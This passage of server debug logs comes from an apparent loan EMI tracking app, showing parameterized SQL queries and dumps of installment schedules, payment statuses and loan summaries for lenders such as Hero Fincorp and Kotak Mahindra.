    due_date: '2025-11-07T18:30:00.000Z',
    paid_on: '2025-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 94,
    loan_id: 9,
    due_date: '2025-12-07T18:30:00.000Z',
    paid_on: '2025-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 95,
    loan_id: 9,
    due_date: '2026-01-07T18:30:00.000Z',
    paid_on: '2026-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 96,
    loan_id: 9,
    due_date: '2026-02-07T18:30:00.000Z',
    paid_on: '2026-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 97,
    loan_id: 9,
    due_date: '2026-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 98,
    loan_id: 9,
    due_date: '2026-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 99,
    loan_id: 9,
    due_date: '2026-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 100,
    loan_id: 9,
    due_date: '2026-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 101,
    loan_id: 9,
    due_date: '2026-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 102,
    loan_id: 9,
    due_date: '2026-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 103,
    loan_id: 9,
    due_date: '2026-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 104,
    loan_id: 9,
    due_date: '2026-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 105,
    loan_id: 9,
    due_date: '2026-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 106,
    loan_id: 9,
    due_date: '2026-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 107,
    loan_id: 9,
    due_date: '2027-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 108,
    loan_id: 9,
    due_date: '2027-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 109,
    loan_id: 9,
    due_date: '2027-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 110,
    loan_id: 9,
    due_date: '2027-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 111,
    loan_id: 9,
    due_date: '2027-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  }
]
2026-02-25T12:38:44.655Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-02-25T12:38:44.655Z server-connect:app Executing action step identify
2026-02-25T12:38:44.655Z server-connect:app options: { provider: 'security' }
2026-02-25T12:38:44.655Z server-connect:output identity: 1
2026-02-25T12:38:44.655Z server-connect:app Executing action step restrict
2026-02-25T12:38:44.655Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:38:44.656Z server-connect:output restrict: undefined
2026-02-25T12:38:44.656Z server-connect:app Executing action step select
2026-02-25T12:38:44.656Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-02-25T12:38:44.657Z server-connect:output list: [
  {
    id: 124,
    loan_id: 10,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 125,
    loan_id: 10,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 126,
    loan_id: 10,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 127,
    loan_id: 10,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 128,
    loan_id: 10,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 129,
    loan_id: 10,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 130,
    loan_id: 10,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 131,
    loan_id: 10,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 132,
    loan_id: 10,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 133,
    loan_id: 10,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 134,
    loan_id: 10,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 135,
    loan_id: 10,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 136,
    loan_id: 10,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 137,
    loan_id: 10,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 138,
    loan_id: 10,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-06-24T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 139,
    loan_id: 10,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 140,
    loan_id: 10,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 141,
    loan_id: 10,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-13T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 142,
    loan_id: 10,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 143,
    loan_id: 10,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 144,
    loan_id: 10,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 145,
    loan_id: 10,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 146,
    loan_id: 10,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 147,
    loan_id: 10,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 148,
    loan_id: 10,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 149,
    loan_id: 10,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 150,
    loan_id: 10,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2025-05-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 0
  },
  {
    id: 151,
    loan_id: 10,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 152,
    loan_id: 10,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-06-30T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 153,
    loan_id: 10,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 154,
    loan_id: 10,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 155,
    loan_id: 10,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 156,
    loan_id: 10,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-11T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 157,
    loan_id: 10,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 158,
    loan_id: 10,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 159,
    loan_id: 10,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  }
]
2026-02-25T12:39:07.262Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-02-25T12:39:07.263Z server-connect:app Executing action step identify
2026-02-25T12:39:07.263Z server-connect:app options: { provider: 'security' }
2026-02-25T12:39:07.263Z server-connect:output identity: 1
2026-02-25T12:39:07.263Z server-connect:app Executing action step restrict
2026-02-25T12:39:07.263Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:39:07.264Z server-connect:output restrict: undefined
2026-02-25T12:39:07.264Z server-connect:app Executing action step select
2026-02-25T12:39:07.264Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-02-25T12:39:07.266Z server-connect:output list: [
  {
    id: 161,
    loan_id: 11,
    due_date: '2023-03-07T18:30:00.000Z',
    paid_on: '2023-03-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 162,
    loan_id: 11,
    due_date: '2023-04-07T18:30:00.000Z',
    paid_on: '2023-04-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 163,
    loan_id: 11,
    due_date: '2023-05-07T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 164,
    loan_id: 11,
    due_date: '2023-06-07T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 165,
    loan_id: 11,
    due_date: '2023-07-07T18:30:00.000Z',
    paid_on: '2023-07-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 166,
    loan_id: 11,
    due_date: '2023-08-07T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 167,
    loan_id: 11,
    due_date: '2023-09-07T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 168,
    loan_id: 11,
    due_date: '2023-10-07T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 169,
    loan_id: 11,
    due_date: '2023-11-07T18:30:00.000Z',
    paid_on: '2023-11-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 170,
    loan_id: 11,
    due_date: '2023-12-07T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 171,
    loan_id: 11,
    due_date: '2024-01-07T18:30:00.000Z',
    paid_on: '2024-01-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 172,
    loan_id: 11,
    due_date: '2024-02-07T18:30:00.000Z',
    paid_on: '2024-02-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 173,
    loan_id: 11,
    due_date: '2024-03-07T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 174,
    loan_id: 11,
    due_date: '2024-04-07T18:30:00.000Z',
    paid_on: '2024-04-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 175,
    loan_id: 11,
    due_date: '2024-05-07T18:30:00.000Z',
    paid_on: '2024-05-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 176,
    loan_id: 11,
    due_date: '2024-06-07T18:30:00.000Z',
    paid_on: '2024-06-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 177,
    loan_id: 11,
    due_date: '2024-07-07T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 178,
    loan_id: 11,
    due_date: '2024-08-07T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 179,
    loan_id: 11,
    due_date: '2024-09-07T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 180,
    loan_id: 11,
    due_date: '2024-10-07T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 181,
    loan_id: 11,
    due_date: '2024-11-07T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 182,
    loan_id: 11,
    due_date: '2024-12-07T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 183,
    loan_id: 11,
    due_date: '2025-01-07T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 184,
    loan_id: 11,
    due_date: '2025-02-07T18:30:00.000Z',
    paid_on: '2025-02-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 185,
    loan_id: 11,
    due_date: '2025-03-07T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 186,
    loan_id: 11,
    due_date: '2025-04-07T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 187,
    loan_id: 11,
    due_date: '2025-05-07T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 188,
    loan_id: 11,
    due_date: '2025-06-07T18:30:00.000Z',
    paid_on: '2025-06-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 189,
    loan_id: 11,
    due_date: '2025-07-07T18:30:00.000Z',
    paid_on: '2025-07-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 190,
    loan_id: 11,
    due_date: '2025-08-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 191,
    loan_id: 11,
    due_date: '2025-09-07T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 192,
    loan_id: 11,
    due_date: '2025-10-07T18:30:00.000Z',
    paid_on: '2025-10-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 193,
    loan_id: 11,
    due_date: '2025-11-07T18:30:00.000Z',
    paid_on: '2025-11-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 194,
    loan_id: 11,
    due_date: '2025-12-07T18:30:00.000Z',
    paid_on: '2025-12-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 195,
    loan_id: 11,
    due_date: '2026-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 196,
    loan_id: 11,
    due_date: '2026-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 197,
    loan_id: 11,
    due_date: '2026-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 198,
    loan_id: 11,
    due_date: '2026-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 199,
    loan_id: 11,
    due_date: '2026-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 200,
    loan_id: 11,
    due_date: '2026-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 201,
    loan_id: 11,
    due_date: '2026-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 202,
    loan_id: 11,
    due_date: '2026-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 203,
    loan_id: 11,
    due_date: '2026-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 204,
    loan_id: 11,
    due_date: '2026-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 205,
    loan_id: 11,
    due_date: '2026-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 206,
    loan_id: 11,
    due_date: '2026-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 207,
    loan_id: 11,
    due_date: '2027-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 208,
    loan_id: 11,
    due_date: '2027-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 209,
    loan_id: 11,
    due_date: '2027-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 210,
    loan_id: 11,
    due_date: '2027-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 211,
    loan_id: 11,
    due_date: '2027-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 212,
    loan_id: 11,
    due_date: '2027-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 213,
    loan_id: 11,
    due_date: '2027-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 214,
    loan_id: 11,
    due_date: '2027-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 215,
    loan_id: 11,
    due_date: '2027-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 216,
    loan_id: 11,
    due_date: '2027-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 217,
    loan_id: 11,
    due_date: '2027-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 218,
    loan_id: 11,
    due_date: '2027-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 219,
    loan_id: 11,
    due_date: '2028-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 220,
    loan_id: 11,
    due_date: '2028-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  }
]
2026-02-25T12:39:18.971Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-02-25T12:39:18.972Z server-connect:app Executing action step identify
2026-02-25T12:39:18.972Z server-connect:app options: { provider: 'security' }
2026-02-25T12:39:18.972Z server-connect:output identity: 1
2026-02-25T12:39:18.972Z server-connect:app Executing action step restrict
2026-02-25T12:39:18.972Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:39:18.973Z server-connect:output restrict: undefined
2026-02-25T12:39:18.973Z server-connect:app Executing action step update
2026-02-25T12:39:18.973Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-02-25T12:39:18.976Z server-connect:output update: { affected: 1 }
2026-02-25T12:39:19.389Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-02-25T12:39:19.389Z server-connect:app Executing action step identify
2026-02-25T12:39:19.389Z server-connect:app options: { provider: 'security' }
2026-02-25T12:39:19.390Z server-connect:output identity: 1
2026-02-25T12:39:19.390Z server-connect:app Executing action step restrict
2026-02-25T12:39:19.390Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:39:19.391Z server-connect:output restrict: undefined
2026-02-25T12:39:19.391Z server-connect:app Executing action step custom
2026-02-25T12:39:19.391Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-02-25T12:39:19.394Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '15',
    total_remaining_amount: 225210,
    total_paid_amount: 675630,
    percentage_paid: '75.00'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 72972,
    total_paid_amount: 583776,
    percentage_paid: '88.89'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '25',
    total_remaining_amount: 577725,
    total_paid_amount: 808815,
    percentage_paid: '58.33'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '15',
    total_remaining_amount: 330465,
    total_paid_amount: 727023,
    percentage_paid: '68.75'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '9',
    total_remaining_amount: 48024,
    total_paid_amount: 144072,
    percentage_paid: '75.00'
  }
]
2026-02-25T12:39:19.396Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-02-25T12:39:19.397Z server-connect:app Executing action step identify
2026-02-25T12:39:19.397Z server-connect:app options: { provider: 'security' }
2026-02-25T12:39:19.398Z server-connect:output identity: 1
2026-02-25T12:39:19.398Z server-connect:app Executing action step restrict
2026-02-25T12:39:19.398Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:39:19.399Z server-connect:output restrict: undefined
2026-02-25T12:39:19.399Z server-connect:app Executing action step select
2026-02-25T12:39:19.399Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-02-25T12:39:19.401Z server-connect:output list: [
  {
    id: 161,
    loan_id: 11,
    due_date: '2023-03-07T18:30:00.000Z',
    paid_on: '2023-03-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 162,
    loan_id: 11,
    due_date: '2023-04-07T18:30:00.000Z',
    paid_on: '2023-04-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 163,
    loan_id: 11,
    due_date: '2023-05-07T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 164,
    loan_id: 11,
    due_date: '2023-06-07T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 165,
    loan_id: 11,
    due_date: '2023-07-07T18:30:00.000Z',
    paid_on: '2023-07-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 166,
    loan_id: 11,
    due_date: '2023-08-07T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 167,
    loan_id: 11,
    due_date: '2023-09-07T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 168,
    loan_id: 11,
    due_date: '2023-10-07T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 169,
    loan_id: 11,
    due_date: '2023-11-07T18:30:00.000Z',
    paid_on: '2023-11-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 170,
    loan_id: 11,
    due_date: '2023-12-07T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
